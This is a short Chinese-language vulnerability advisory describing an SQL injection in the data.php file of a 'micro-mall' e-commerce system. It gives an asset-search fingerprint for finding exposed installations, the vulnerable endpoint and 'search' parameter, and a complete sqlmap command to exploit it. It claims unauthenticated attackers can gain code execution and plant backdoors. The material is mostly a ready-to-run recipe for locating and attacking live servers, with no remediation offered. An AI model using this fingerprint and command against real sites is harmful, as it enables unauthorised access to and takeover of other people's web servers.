微商城系统data.php存在sql注入漏洞
一、漏洞简介
微微商城系统data.php存在sql注入漏洞，未经身份验证的攻击者可通过该漏洞在服务器端任意执行代码，写入后门，获取服务器权限，进而控制整个 web 服务器。
二、影响版本
- 微商城系统
三、资产测绘
body="/Mao_Public/js/jquery-2.1.1.min.js"
四、漏洞复现
/api/data.php?mod=list&lx=2&search=123访问时提示非法请求，不用管
sqlmap直接跑
python sqlmap.py -u "http://127.0.0.1/api/data.php?mod=list&lx=2&search=123" -p search --threads 10 --batch --level 3